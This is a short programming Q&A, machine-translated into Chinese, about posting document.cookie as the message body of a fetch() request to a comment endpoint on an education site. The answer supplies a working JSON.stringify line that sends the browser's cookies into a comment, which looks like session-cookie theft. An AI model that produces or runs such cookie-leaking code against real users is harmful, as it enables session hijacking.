获取js如何发送带有cookie的post请求

Question

fetch("https://learn.algoritmika.org/api/v1/projects/comment/31315833", {
  "headers": {
    "accept": "*/*",
    "accept-language": "ru,en;q=0.9",
    "content-type": "application/json",
    "sec-ch-ua": "\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Yandex\";v=\"22\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin"
  },
  "referrer": "https://learn.algoritmika.org/my-class?category=new&filter=class_projects&projectId=31315833",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "{\"message\":\"data\"}",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

im需要将“数据”替换为cookies，im试图替换{\"message\":document.cookie}，但它没有帮助

Answer 1

变量不会在字符串中展开。即使是这样，你也忘了把引号放在document.cookie的值上。

不要尝试用字符串操作手工创建JSON，始终使用JSON.stringify()确保所有内容都被正确引用和转义。

"body": JSON.stringify({message: document.cookie}),